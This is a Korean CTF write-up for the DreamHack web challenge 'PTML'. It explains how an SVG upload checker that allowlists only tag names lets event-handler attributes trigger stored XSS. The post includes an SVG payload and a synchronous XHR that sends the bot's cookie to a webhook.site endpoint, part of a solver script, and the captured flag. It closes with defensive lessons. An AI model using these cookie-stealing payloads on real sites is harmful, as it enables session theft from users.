2026-06-04·1분 읽기·
업로드한 SVG를 innerHTML로 그대로 삽입하는데, 검증은 태그 이름만 allowlist로 본다. 허용 태그(animate·image·svg)에 이벤트 핸들러 속성을 달아 XSS를 띄우고, 봇이 들고 있는 flag 쿠키를 동기 XHR로 유출하는 과정을 정리했다.
이 글이 도움이 됐나요?
문제: DreamHack — PTML 분류: Web (Flask + PyScript + headless Chrome 봇) 난이도: 🥉 Bronze 1 FLAG:
DH{29574df83b25cc88123ffc2fdf572cdd92f95054b8bc95c525a6070a28a48a8b}
SVG를 올리면 path들을 분리해 화면에서 둥둥 떠다니게 보여주는 서비스다. 프론트가 평범한 JS가 아니라 PyScript(Pyodide) 로 돌아간다.
| 항목 | 내용 |
|---|---|
| 문제명 | PTML |
| 난이도 | 🥉 Bronze 1 |
| 분류 | Web (Flask + PyScript + Selenium 봇) |
| 제공 파일 / 서버 | app.py, static/main.py, templates/index.html + 라이브 서버 |
| 핵심 취약점 | SVG 검증이 태그 이름만 보고, 원본 문자열을 innerHTML로 삽입 (Stored XSS) |
플래그는 화면 어디에도 없다. 업로드하면 서버가 헤드리스 크롬 봇을 띄우는데, 그 봇이 flag를 쿠키로 들고 내가 올린 파일을 열어본다. 그러니 봇의 브라우저에서 JS를 실행(XSS)해 쿠키를 훔쳐 내보내야 한다.

app.py의 업로드 핸들러는 파일을 저장한 뒤 곧바로 read_file()로 봇을 돌린다.
def read_file(filename):
cookie = {"name": "flag", "value": FLAG}
cookie.update({"domain": "127.0.0.1"}) # flag 를 쿠키로
...
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie) # httpOnly 지정 없음 → JS 가 읽을 수 있음
driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}") # 내 파일을 열람
WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))두 가지가 보인다.
플래그는 flag 쿠키로 봇 브라우저에 심긴다. add_cookie에 httpOnly를 안 줬으니 document.cookie로 읽힌다.
봇은 ?file=uploads/<내가 올린 파일>을 직접 연다. 즉 내 SVG가 봇의 브라우저(127.0.0.1:8000 오리진)에서 렌더된다.
렌더는 static/main.py(PyScript)가 한다. ?file= 값을 pyfetch로 가져와 load_new_svg에 넘긴다. 검증 로직이 핵심이다.
def load_svg_from_string(svg_string):
doc = DOMParser.new().parseFromString(svg_string, "image/svg+xml")
if doc.documentElement.tagName != "svg" or doc.documentElement.namespaceURI not in [...]:
raise ValueError(...)
allowed_elements = ["svg", "path", "rect", ..., "animate", "set", "image", "use", "style", ...]
for element in doc.getElementsByTagName("*"):
if element.tagName not in allowed_elements: # ← 태그 "이름"만 검사
raise ValueError(
검증은 파싱된 DOM을 돌면서 태그 이름이 allowlist에 있는지만 본다. <script>는 목록에 없어 막히지만, animate·set·image·use·svg 같은 태그는 허용된다.
그리고 검증을 통과하면 original_svg_content.innerHTML = svg_content로 원본 문자열을 그대로 innerHTML에 꽂는다. 태그 이름만 통과시켰을 뿐, 그 태그가 무슨 속성을 들고 있는지는 아무도 안 봤다.
<script>는 어차피 innerHTML로 넣어도 실행되지 않는다. 하지만 SVG에는 삽입만으로 JS를 실행시키는 이벤트 핸들러가 여럿 있고, 그게 달린 태그들이 allowlist에 들어 있다.
<svg onload=...> — SVG 루트의 load<animate onbegin=...> / <set onbegin=...> — SMIL 애니메이션 시작<image onerror=...> — 이미지 로드 실패세 태그(svg, animate, image) 전부 허용 목록이다. 속성은 검사하지 않으니 onbegin·onerror·onload를 그대로 달 수 있다. innerHTML로 삽입되는 순간 핸들러가 발화한다.

쿠키가 httpOnly가 아니므로 핸들러 안에서 document.cookie를 읽어 외부로 보내면 끝이다. 페이지가 pyscript.net CDN을 로드하는 구조라 봇의 크롬은 외부 egress가 열려 있다(그래서 외부 유출이 가능하다).
페이로드 SVG는 루트가 <svg>이고 모든 태그가 allowlist에 있어야 한다. 거기에 핸들러로 쿠키를 유출한다.
<svg xmlns="http://www.w3.org/2000/svg" onload="XHR(document.cookie)">
<animate attributeName="x" dur="1s" onbegin="XHR(document.cookie)"/>
<image href="x" onerror="XHR(document.cookie)"/>
<path d="M10 10h80v80h-80z" fill="#8D98FF"/>
</svg>그런데 첫 시도(new Image().src=... / fetch(...))는 아무것도 안 왔다. 비동기 요청이 봇의 종료 타이밍에 밀린 것이다.
봇은 WebDriverWait(...).until(svg 등장)이 만족되면 곧바로 driver.quit()으로 브라우저를 죽인다. 그런데 load_new_svg는 innerHTML(핸들러 예약) 직후 동기적으로 svg를 화면에 append한다. svg가 바로 등장하니 봇은 빠르게 종료하고, 비동기로 날아가던 비콘 요청은 전송이 완료되기 전에 잘렸다.
해결은 동기 XHR이다. 동기 XHR은 응답이 올 때까지 JS 스레드를 멈춘다. 핸들러가 발화하는 순간 요청이 반드시 완료되므로, 봇이 직후에 종료해도 유출이 보장된다.
// XHR(document.cookie) 의 실제 내용
var x = new XMLHttpRequest();
x.open('GET', 'https://webhook.site/<token>/?A=' + encodeURIComponent(document.cookie), false); // false = 동기
try { x.send() } catch (e) {}webhook.site에서 토큰 하나를 받아 유출 대상으로 쓰고, 업로드 후 그 토큰의 수신 요청을 폴링하면 봇이 보낸 flag 쿠키가 잡힌다.

수신 요청의 referer가 http://127.0.0.1:8000/, User-Agent가 HeadlessChrome인 게 보인다. 쿼리스트링에 flag=DH{...}가 그대로 담겼다.
처음엔 onbegin="new Image().src='https://.../?c='+document.cookie"로 짰다. 로컬에서 innerHTML 삽입 시 핸들러가 발화하는 건 확인했는데, 실서버에선 webhook에 아무것도 안 왔다.
원인은 봇의 생명주기였다. load_new_svg가 original_svg_content.innerHTML = svg_content 다음 줄에서 곧장 svg_container.appendChild(svg_element)를 호출한다. svg가 동기적으로 등장 → 봇의 WebDriverWait가 즉시 만족 → driver.quit(). 비동기 비콘(Image/fetch)은 소켓에 실리기도 전에 브라우저가 죽어 유실됐다.
fetch(..., {keepalive:true})도 프로세스 강제 종료 앞에선 보장이 안 됐다. 동기 XHR로 바꾸자 한 번에 들어왔다.
#!/usr/bin/python3
# PTML 솔버 — SVG 검증이 "태그 이름"만 allowlist 로 보고 이벤트 핸들러 속성은 안 막는 허점 + innerHTML 삽입.
# 허용 태그(svg/animate/image) 에 onload/onbegin/onerror 를 달면 innerHTML 삽입만으로 XSS 발화.
# 봇(read_file)이 flag 를 쿠키(httpOnly 아님)로 심고 우리 SVG 를 열람 → document.cookie 동기 XHR 로 유출.
import sys
import time
import re
import requests
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:8000"
UUID = open("/tmp/ptml_webhook.txt").read().strip() # webhook.site 토큰
WEBHOOK = f"https://webhook.site/{UUID}"
# 동기 XHR — 발화 즉시 요청이 완료되어 봇이 곧장 종료해도 유출이 보장된다.
def xhr(tag):
return (f"var x=new XMLHttpRequest();"
라이브 서버에 그대로 돌린 결과다.
$ python3 solve.py http://host8.dreamhack.games:15740
[*] upload -> 302 Location=/?file=uploads/88eab8b2086c429ca88994ff24d622b4_exploit.svg
[*] webhook 폴링 중...
[0] 수신 요청 14건 → FLAG!
[FLAG] DH{29574df83b25cc88123ffc2fdf572cdd92f95054b8bc95c525a6070a28a48a8b}
DH{29574df83b25cc88123ffc2fdf572cdd92f95054b8bc95c525a6070a28a48a8b}allowlist는 태그가 아니라 "위험한 행동"을 막아야 한다.
이 검증은 <script>만 떠올리고 태그 이름 목록을 짰다. 하지만 XSS는 태그가 아니라 이벤트 핸들러 속성에서 나왔다. on* 속성과 위험한 URL 속성까지 막거나, 애초에 신뢰할 수 없는 마크업을 innerHTML로 넣지 않고 DOMPurify 같은 검증된 새니타이저를 거쳐야 한다.
innerHTML은 마크업을 실행 가능한 것으로 되살린다.
문자열을 검증했다고 안전한 게 아니다. 그 문자열이 innerHTML로 DOM에 들어가는 순간, 안에 박힌 핸들러가 살아난다. 파싱해서 검사한 DOM과, 화면에 꽂는 원본 문자열이 따로 노는 구조 자체가 문제였다.
httpOnly 한 줄이 막을 수 있었다.
플래그 쿠키에 httpOnly가 있었다면 XSS가 떠도 document.cookie로는 못 읽는다. 민감한 값을 쿠키에 담아야 한다면 httpOnly는 선택이 아니다.
그리고 익스플로잇은 코드만 맞다고 끝이 아니었다.
페이로드가 옳아도 봇이 0.x초 먼저 죽으면 아무것도 안 온다. 비동기 비콘을 동기 XHR로 바꾼 한 끗이 성패를 갈랐다. 상대가 짧게 사는 헤드리스 봇이라면, 유출은 "보내고 잊는" 게 아니라 "완료를 보장하는" 방식이어야 한다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…